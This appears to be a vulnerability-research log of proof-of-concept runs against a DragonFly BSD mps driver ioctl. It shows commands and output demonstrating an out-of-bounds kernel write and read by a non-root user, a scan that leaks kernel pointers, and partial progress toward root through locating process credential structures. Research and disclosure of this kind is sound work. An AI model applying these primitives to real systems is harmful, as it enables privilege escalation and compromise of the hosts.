DF-4012 baseline runs -- REAL production mps handler (mps_ioctl_devsw
dispatched by the df4012rig KLD), driven by uid=2 (operator) over a
0640 root:operator /dev/df4012rig opened O_RDONLY.

NOTE: the originals of runs 2-4 were printed over ssh and lost to guest
reboots (DFly /tmp is MFS); these lines are assembled verbatim from the
session transcript. The kernel-side companions (dispatch kprintfs,
panics) survive in the console log / panic captures.

=== RUN 1 (late-loaded rig boot #0: kernel 6.5-DEVELOPMENT #0 Jul 2) ===
$ su operator -c '/home/maxx/rig4012/trigger read 0'
DF4012 trigger: uid=2 euid=2 gid=5; BAR=0xfffff80118ae0000 scan [0,0) cmd=0xc00c490a
read 0 = 0
$ su operator -c '/home/maxx/rig4012/trigger write 0x100 0x41414141'
write 0x100 = 0x41414141 ok
$ su operator -c '/home/maxx/rig4012/trigger read 0x100'
read 0x100 = 0x41414141
$ su operator -c '/home/maxx/rig4012/trigger write 0x2000 0xdeadbeef'
write 0x2000 = 0xdeadbeef ok          <-- offset 0x2000 = 2x the 0x1000 aperture: ACCEPTED by production code
$ su operator -c '/home/maxx/rig4012/trigger read 0x2000'
read 0x2000 = 0xdeadbeef               <-- arbitrary-offset kernel WRITE + READBACK proven

=== RUN 2 (same boot, OOB write at a second offset) ===
write 0x3000 = 0x41414141 ok
read 0x3000 = 0x41414141

=== RUN 3 (leak scan; boot-loaded rig, BAR=0xfffff80118620000) ===
leak: 8 runs; scanning largest run 0 [0xfffff80118bc0000, 0xfffff80118c20000)
leak: OOB REG_MEM_READ scan [0xfffff80118bc0000, 0xfffff80118c20000) above BAR 0xfffff80118620000
  +0x00400008: 0xfffff8004f064000  <== kernel pointer
  +0x00400018: 0xfffff80118680010  <== kernel pointer
  +0x00400030: 0xfffff80118bc0200  <== kernel pointer
  +0x00400058: 0xfffff80118bc0050  <== kernel pointer
  +0x00400080: 0xffffffff00000000  <== kernel pointer
  +0x00414210: 0xfffff801186fa000  <== kernel pointer
  +0x00414230: 0xfffff8008d1ff030  <== kernel pointer
  +0x00414238: 0xfffff8008d1ff030  <== kernel pointer
  +0x00414240: 0xffffffff81457d40  <== kernel pointer   (kernel .data/.bss image pointer)
  +0x00414268: 0xffffffff807b1af0  <== kernel pointer   (kernel image pointer)
  +0x00414278: 0xfffff80118bd4200  <== kernel pointer
  +0x00414308: 0xfffff801186fa000  <== kernel pointer
leak: 49152 qwords read, 639 kernel pointers disclosed
(49152 qwords in 0.06 s wall -- ~270k production ioctls/s)

=== RUN 4 (uid0 chain progress: child struct proc located via OOB reads) ===
boot-time-loaded rig (loader.conf; BAR=0xfffff8008dc00000, i.e. the
hardware-faithful condition: BAR at the bottom of the kmem arena, the
whole post-boot heap above it and inside the +4 GiB window):
uid0: offsets pid=92 ppid=96 pptr=120 ucred=16; cred: uid=64 ruid=160 svuid=164 ng=68 grp=72 rgid=168 svgid=172
uid0: PAIR hit pid=913 at 0xfffff801179d36dc: pos-in-page 1756 (expected p_pid % 4096 = 92)
uid0: PAIR hit pid=914 at 0xfffff801179d3bdc: pos-in-page 3036
uid0: PAIR hit pid=915 at 0xfffff801179d40dc: pos-in-page 220
uid0: PAIR hit pid=916 at 0xfffff801179d45dc: pos-in-page 1500
uid0: PAIR hit pid=917 at 0xfffff801179d4adc: pos-in-page 2780
uid0: PAIR hit pid=918 at 0xfffff801179d4fdc: pos-in-page 4060
uid0: PAIR hit pid=919 at 0xfffff801179d54dc: pos-in-page 1244
... (16 hits total; consecutive procs 0x500 apart = the child brood's
proc-zone slab, READ via the production REG_MEM_READ at ~+148 MiB past
the BAR)
uid0: no child proc found in any run
(signature scan initially rejected the hits due to a scan-side p_pptr<bar
filter written for the late-load condition; see VERDICT.md -- the final
uid0 hop remained blocked by scan-vs-churn races, not by the primitive)